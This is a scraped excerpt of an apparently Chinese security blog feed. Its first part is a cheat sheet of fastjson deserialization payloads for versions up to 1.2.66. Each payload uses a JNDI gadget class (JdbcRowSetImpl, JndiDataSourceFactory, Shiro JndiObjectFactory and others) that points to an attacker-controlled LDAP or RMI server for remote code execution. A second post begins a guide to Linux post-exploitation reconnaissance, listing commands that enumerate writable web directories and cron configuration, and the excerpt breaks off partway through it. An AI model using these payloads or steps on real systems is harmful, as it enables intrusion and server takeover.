notion-h-indent-2 notion-block-8fcc5e4d2fab4fbab17a87181123a252" data-id="8fcc5e4d2fab4fbab17a87181123a252"><span><div id="8fcc5e4d2fab4fbab17a87181123a252" class="notion-header-anchor"></div><a class="notion-hash-link" href="#8fcc5e4d2fab4fbab17a87181123a252" title="fastjson&lt;=1.2.41"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">fastjson&lt;=1.2.41</span></span></h4><blockquote class="notion-quote notion-block-e2e2e049124d4624a18bd712efbe4eed"><div>autoTypeSupport属性为true才能使用。（fastjson&gt;=1.2.25默认为false）</div></blockquote><pre class="notion-code"><div class="notion-code-copy"><div class="notion-code-copy-button"><svg fill="currentColor" viewBox="0 0 16 16" width="1em" version="1.1"><path fill-rule="evenodd" d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 010 1.5h-1.5a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-1.5a.75.75 0 011.5 0v1.5A1.75 1.75 0 019.25 16h-7.5A1.75 1.75 0 010 14.25v-7.5z"></path><path fill-rule="evenodd" d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0114.25 11h-7.5A1.75 1.75 0 015 9.25v-7.5zm1.75-.25a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-7.5a.25.25 0 00-.25-.25h-7.5z"></path></svg></div></div><code class="language-powershell">{&quot;dr&quot;:{&quot;@type&quot;:&quot;com.sun.rowset.JdbcRowSetImpl&quot;,&quot;dataSourceName&quot;:&quot;rmi://x.x.x.x:1099/jndi&quot;, &quot;autoCommit&quot;:true}
}</code></pre><h4 class="notion-h notion-h3 notion-h-indent-2 notion-block-eea29663f711474b862f7658e93aaaa8" data-id="eea29663f711474b862f7658e93aaaa8"><span><div id="eea29663f711474b862f7658e93aaaa8" class="notion-header-anchor"></div><a class="notion-hash-link" href="#eea29663f711474b862f7658e93aaaa8" title="fastjson&lt;=1.2.42"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">fastjson&lt;=1.2.42</span></span></h4><blockquote class="notion-quote notion-block-f8e91e0eec854f5db8ceb7ab0396aec6"><div>autoTypeSupport属性为true才能使用。（fastjson&gt;=1.2.25默认为false）</div></blockquote><pre class="notion-code"><div class="notion-code-copy"><div class="notion-code-copy-button"><svg fill="currentColor" viewBox="0 0 16 16" width="1em" version="1.1"><path fill-rule="evenodd" d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 010 1.5h-1.5a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-1.5a.75.75 0 011.5 0v1.5A1.75 1.75 0 019.25 16h-7.5A1.75 1.75 0 010 14.25v-7.5z"></path><path fill-rule="evenodd" d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0114.25 11h-7.5A1.75 1.75 0 015 9.25v-7.5zm1.75-.25a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-7.5a.25.25 0 00-.25-.25h-7.5z"></path></svg></div></div><code class="language-powershell">{&quot;dr&quot;:{&quot;@type&quot;:&quot;LLcom.sun.rowset.JdbcRowSetImpl;;&quot;,&quot;dataSourceName&quot;:&quot;ldap://localhost:1399/Exploit&quot;, &quot;autoCommit&quot;:true}}</code></pre><h4 class="notion-h notion-h3 notion-h-indent-2 notion-block-a59953b222f64d20bb174564a2931794" data-id="a59953b222f64d20bb174564a2931794"><span><div id="a59953b222f64d20bb174564a2931794" class="notion-header-anchor"></div><a class="notion-hash-link" href="#a59953b222f64d20bb174564a2931794" title="fastjson&lt;=1.2.43"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">fastjson&lt;=1.2.43</span></span></h4><blockquote class="notion-quote notion-block-0ca2407a18274f54ad40abfd0d2aff0f"><div>autoTypeSupport属性为true才能使用。（fastjson&gt;=1.2.25默认为false）</div></blockquote><pre class="notion-code"><div class="notion-code-copy"><div class="notion-code-copy-button"><svg fill="currentColor" viewBox="0 0 16 16" width="1em" version="1.1"><path fill-rule="evenodd" d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 010 1.5h-1.5a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-1.5a.75.75 0 011.5 0v1.5A1.75 1.75 0 019.25 16h-7.5A1.75 1.75 0 010 14.25v-7.5z"></path><path fill-rule="evenodd" d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0114.25 11h-7.5A1.75 1.75 0 015 9.25v-7.5zm1.75-.25a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-7.5a.25.25 0 00-.25-.25h-7.5z"></path></svg></div></div><code class="language-powershell">{&quot;dr&quot;:{&quot;@type&quot;:&quot;[com.sun.rowset.JdbcRowSetImpl&quot;[{,&quot;dataSourceName&quot;:&quot;ldap://localhost:1399/Exploit&quot;, &quot;autoCommit&quot;:true}
}</code></pre><h4 class="notion-h notion-h3 notion-h-indent-2 notion-block-1af0fe504dcd4c02b5f24bf4ae66e2c9" data-id="1af0fe504dcd4c02b5f24bf4ae66e2c9"><span><div id="1af0fe504dcd4c02b5f24bf4ae66e2c9" class="notion-header-anchor"></div><a class="notion-hash-link" href="#1af0fe504dcd4c02b5f24bf4ae66e2c9" title="fastjson&lt;=1.2.45"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">fastjson&lt;=1.2.45</span></span></h4><blockquote class="notion-quote notion-block-fe5200a909a44a14b1bd3a8971dda936"><div>autoTypeSupport属性为true才能使用。（fastjson&gt;=1.2.25默认为false）</div></blockquote><pre class="notion-code"><div class="notion-code-copy"><div class="notion-code-copy-button"><svg fill="currentColor" viewBox="0 0 16 16" width="1em" version="1.1"><path fill-rule="evenodd" d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 010 1.5h-1.5a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-1.5a.75.75 0 011.5 0v1.5A1.75 1.75 0 019.25 16h-7.5A1.75 1.75 0 010 14.25v-7.5z"></path><path fill-rule="evenodd" d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0114.25 11h-7.5A1.75 1.75 0 015 9.25v-7.5zm1.75-.25a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-7.5a.25.25 0 00-.25-.25h-7.5z"></path></svg></div></div><code class="language-powershell">{&quot;dr&quot;:{&quot;@type&quot;:&quot;org.apache.ibatis.datasource.jndi.JndiDataSourceFactory&quot;,&quot;properties&quot;:{&quot;data_source&quot;:&quot;ldap://localhost:1399/Exploit&quot;}}
}</code></pre><h4 class="notion-h notion-h3 notion-h-indent-2 notion-block-25caf68be1c0454f8a6060510b1cc6c1" data-id="25caf68be1c0454f8a6060510b1cc6c1"><span><div id="25caf68be1c0454f8a6060510b1cc6c1" class="notion-header-anchor"></div><a class="notion-hash-link" href="#25caf68be1c0454f8a6060510b1cc6c1" title="fastjson&lt;=1.2.47"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">fastjson&lt;=1.2.47</span></span></h4><pre class="notion-code"><div class="notion-code-copy"><div class="notion-code-copy-button"><svg fill="currentColor" viewBox="0 0 16 16" width="1em" version="1.1"><path fill-rule="evenodd" d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 010 1.5h-1.5a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-1.5a.75.75 0 011.5 0v1.5A1.75 1.75 0 019.25 16h-7.5A1.75 1.75 0 010 14.25v-7.5z"></path><path fill-rule="evenodd" d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0114.25 11h-7.5A1.75 1.75 0 015 9.25v-7.5zm1.75-.25a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-7.5a.25.25 0 00-.25-.25h-7.5z"></path></svg></div></div><code class="language-powershell">{
    &quot;a&quot;: {
        &quot;@type&quot;: &quot;java.lang.Class&quot;,
        &quot;val&quot;: &quot;com.sun.rowset.JdbcRowSetImpl&quot;
    },
    &quot;b&quot;: {
        &quot;@type&quot;: &quot;com.sun.rowset.JdbcRowSetImpl&quot;,
        &quot;dataSourceName&quot;: &quot;ldap://x.x.x.x:1999/Exploit&quot;,
        &quot;autoCommit&quot;: true
    }
}</code></pre><h4 class="notion-h notion-h3 notion-h-indent-2 notion-block-1f38efb197ab43d5b26141d514c3d09e" data-id="1f38efb197ab43d5b26141d514c3d09e"><span><div id="1f38efb197ab43d5b26141d514c3d09e" class="notion-header-anchor"></div><a class="notion-hash-link" href="#1f38efb197ab43d5b26141d514c3d09e" title="fastjson&lt;=1.2.62"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">fastjson&lt;=1.2.62</span></span></h4><pre class="notion-code"><div class="notion-code-copy"><div class="notion-code-copy-button"><svg fill="currentColor" viewBox="0 0 16 16" width="1em" version="1.1"><path fill-rule="evenodd" d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 010 1.5h-1.5a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-1.5a.75.75 0 011.5 0v1.5A1.75 1.75 0 019.25 16h-7.5A1.75 1.75 0 010 14.25v-7.5z"></path><path fill-rule="evenodd" d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0114.25 11h-7.5A1.75 1.75 0 015 9.25v-7.5zm1.75-.25a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-7.5a.25.25 0 00-.25-.25h-7.5z"></path></svg></div></div><code class="language-powershell">{&quot;dr&quot;:{&quot;@type&quot;:&quot;org.apache.xbean.propertyeditor.JndiConverter&quot;,&quot;AsText&quot;:&quot;rmi://127.0.0.1:1098/exploit&quot;}&quot;}</code></pre><h4 class="notion-h notion-h3 notion-h-indent-2 notion-block-7b2852460270428cb3888ef9c95a76f7" data-id="7b2852460270428cb3888ef9c95a76f7"><span><div id="7b2852460270428cb3888ef9c95a76f7" class="notion-header-anchor"></div><a class="notion-hash-link" href="#7b2852460270428cb3888ef9c95a76f7" title="fastjson&lt;=1.2.66"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">fastjson&lt;=1.2.66</span></span></h4><blockquote class="notion-quote notion-block-6b5eb3c3c89a474cb86d82544b6ff72a"><div>autoTypeSupport属性为true才能使用。（fastjson&gt;=1.2.25默认为false）</div></blockquote><pre class="notion-code"><div class="notion-code-copy"><div class="notion-code-copy-button"><svg fill="currentColor" viewBox="0 0 16 16" width="1em" version="1.1"><path fill-rule="evenodd" d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 010 1.5h-1.5a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-1.5a.75.75 0 011.5 0v1.5A1.75 1.75 0 019.25 16h-7.5A1.75 1.75 0 010 14.25v-7.5z"></path><path fill-rule="evenodd" d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0114.25 11h-7.5A1.75 1.75 0 015 9.25v-7.5zm1.75-.25a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-7.5a.25.25 0 00-.25-.25h-7.5z"></path></svg></div></div><code class="language-powershell">{&quot;dr&quot;:{&quot;@type&quot;:&quot;org.apache.shiro.jndi.JndiObjectFactory&quot;,&quot;resourceName&quot;:&quot;ldap://you-server-ip:28444/Object&quot;}}

{&quot;dr&quot;:{&quot;@type&quot;:&quot;br.com.anteros.dbcp.AnterosDBCPConfig&quot;,&quot;metricRegistry&quot;:&quot;ldap://you-server-ip:28444/Object&quot;}}

{&quot;dr&quot;:{&quot;@type&quot;:&quot;org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup&quot;,&quot;jndiNames&quot;:&quot;ldap://you-server-ip:28444/Object&quot;}
}

{&quot;dr&quot;:{&quot;@type&quot;:&quot;com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig&quot;,&quot;properties&quot;: {&quot;@type&quot;:&quot;java.util.Properties&quot;,&quot;UserTransaction&quot;:&quot;ldap://you-server-ip:28444/Object&quot;}}
}</code></pre></main></div>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Linux信息收集-内网渗透]]></title>
            <link>https://hexo.xslover.xyz/article/48599e98-c4bb-49a0-9ab4-d3987fa7463c</link>
            <guid>https://hexo.xslover.xyz/article/48599e98-c4bb-49a0-9ab4-d3987fa7463c</guid>
            <pubDate>Tue, 18 Apr 2023 00:00:00 GMT</pubDate>
            <content:encoded><![CDATA[<div id="container" class="font-medium mx-auto undefined"><main class="notion light-mode notion-page notion-block-48599e98c4bb49a09ab4d3987fa7463c"><div class="notion-viewport"></div><div class="notion-collection-page-properties"></div><h3 class="notion-h notion-h2 notion-h-indent-0 notion-block-2716761757684fdfbe49881955f0d787" data-id="2716761757684fdfbe49881955f0d787"><span><div id="2716761757684fdfbe49881955f0d787" class="notion-header-anchor"></div><a class="notion-hash-link" href="#2716761757684fdfbe49881955f0d787" title="基本信息收集"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">基本信息收集</span></span></h3><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-35f7224fa3354bc38ccaafa28c006a2e" data-id="35f7224fa3354bc38ccaafa28c006a2e"><span><div id="35f7224fa3354bc38ccaafa28c006a2e" class="notion-header-anchor"></div><a class="notion-hash-link" href="#35f7224fa3354bc38ccaafa28c006a2e" title="查看安装程序"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">查看安装程序</span></span></h4><pre class="notion-code"><div class="notion-code-copy"><div class="notion-code-copy-button"><svg fill="currentColor" viewBox="0 0 16 16" width="1em" version="1.1"><path fill-rule="evenodd" d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 010 1.5h-1.5a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-1.5a.75.75 0 011.5 0v1.5A1.75 1.75 0 019.25 16h-7.5A1.75 1.75 0 010 14.25v-7.5z"></path><path fill-rule="evenodd" d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0114.25 11h-7.5A1.75 1.75 0 015 9.25v-7.5zm1.75-.25a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-7.5a.25.25 0 00-.25-.25h-7.5z"></path></svg></div></div><code class="language-powershell">ls -alh /usr/bin</code></pre><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-a1cf990a1a75431da214d6f2b7b99658"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column"><img src="https://ae01.alicdn.com/kf/U1e538178a50a45c8b2f3485dbd3a509cn.jpg" alt="notion image" loading="lazy" decoding="async"/></div></figure><pre class="notion-code"><div class="notion-code-copy"><div class="notion-code-copy-button"><svg fill="currentColor" viewBox="0 0 16 16" width="1em" version="1.1"><path fill-rule="evenodd" d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 010 1.5h-1.5a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-1.5a.75.75 0 011.5 0v1.5A1.75 1.75 0 019.25 16h-7.5A1.75 1.75 0 010 14.25v-7.5z"></path><path fill-rule="evenodd" d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0114.25 11h-7.5A1.75 1.75 0 015 9.25v-7.5zm1.75-.25a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-7.5a.25.25 0 00-.25-.25h-7.5z"></path></svg></div></div><code class="language-powershell">dpkg -l</code></pre><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-92cb73a1e5b34b1f84cb599144a1b68c"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column"><img src="https://ae01.alicdn.com/kf/Ubb2f7032b3d2420d922e67921efb4068C.jpg" alt="notion image" loading="lazy" decoding="async"/></div></figure><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-baee36bbcf964d5eaf8534dff41bb2ae" data-id="baee36bbcf964d5eaf8534dff41bb2ae"><span><div id="baee36bbcf964d5eaf8534dff41bb2ae" class="notion-header-anchor"></div><a class="notion-hash-link" href="#baee36bbcf964d5eaf8534dff41bb2ae" title="可写权限目录"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">可写权限目录</span></span></h4><pre class="notion-code"><div class="notion-code-copy"><div class="notion-code-copy-button"><svg fill="currentColor" viewBox="0 0 16 16" width="1em" version="1.1"><path fill-rule="evenodd" d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 010 1.5h-1.5a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-1.5a.75.75 0 011.5 0v1.5A1.75 1.75 0 019.25 16h-7.5A1.75 1.75 0 010 14.25v-7.5z"></path><path fill-rule="evenodd" d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0114.25 11h-7.5A1.75 1.75 0 015 9.25v-7.5zm1.75-.25a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-7.5a.25.25 0 00-.25-.25h-7.5z"></path></svg></div></div><code class="language-powershell"># 2&gt;/dev/null 错误信息从定向
find /var/www/ -writable -type d 2&gt;/dev/null</code></pre><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-29780fdf93a24b469a4c4cdbbde44787"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column"><img src="https://ae01.alicdn.com/kf/U726ccc81da1a4cb299562252de563938O.jpg" alt="notion image" loading="lazy" decoding="async"/></div></figure><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-775156375ce9444f8299ad0173ccfa5f" data-id="775156375ce9444f8299ad0173ccfa5f"><span><div id="775156375ce9444f8299ad0173ccfa5f" class="notion-header-anchor"></div><a class="notion-hash-link" href="#775156375ce9444f8299ad0173ccfa5f" title="可执行权限目录"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">可执行权限目录</span></span></h4><pre class="notion-code"><div class="notion-code-copy"><div class="notion-code-copy-button"><svg fill="currentColor" viewBox="0 0 16 16" width="1em" version="1.1"><path fill-rule="evenodd" d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 010 1.5h-1.5a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-1.5a.75.75 0 011.5 0v1.5A1.75 1.75 0 019.25 16h-7.5A1.75 1.75 0 010 14.25v-7.5z"></path><path fill-rule="evenodd" d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0114.25 11h-7.5A1.75 1.75 0 015 9.25v-7.5zm1.75-.25a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-7.5a.25.25 0 00-.25-.25h-7.5z"></path></svg></div></div><code class="language-powershell">find /var/www/ -executable -type d 2&gt;/dev/null</code></pre><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-e6bf85d672294ea1ba4886eefb4aa8e1"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column"><img src="https://ae01.alicdn.com/kf/U726ccc81da1a4cb299562252de563938O.jpg" alt="notion image" loading="lazy" decoding="async"/></div></figure><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3f5cb206843b4530baa09e6faa8fb525" data-id="3f5cb206843b4530baa09e6faa8fb525"><span><div id="3f5cb206843b4530baa09e6faa8fb525" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3f5cb206843b4530baa09e6faa8fb525" title="查看主机工作计划"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">查看主机工作计划</span></span></h4><pre class="notion-code"><div class="notion-code-copy"><div class="notion-code-copy-button"><svg fill="currentColor" viewBox="0 0 16 16" width="1em" version="1.1"><path fill-rule="evenodd" d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 010 1.5h-1.5a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-1.5a.75.75 0 011.5 0v1.5A1.75 1.75 0 019.25 16h-7.5A1.75 1.75 0 010 14.25v-7.5z"></path><path fill-rule="evenodd" d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0114.25 11h-7.5A1.75 1.75 0 015 9.25v-7.5zm1.75-.25a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-7.5a.25.25 0 00-.25-.25h-7.5z"></path></svg></div></div><code class="language-powershell">crontab -l ls -alh /var/spool/cron

cat /etc/cron* cat /etc/at.allow

cat /etc/at.deny cat /etc/cron.allow

cat /etc/cron.deny cat /etc/crontab

cat /etc/anacrontab

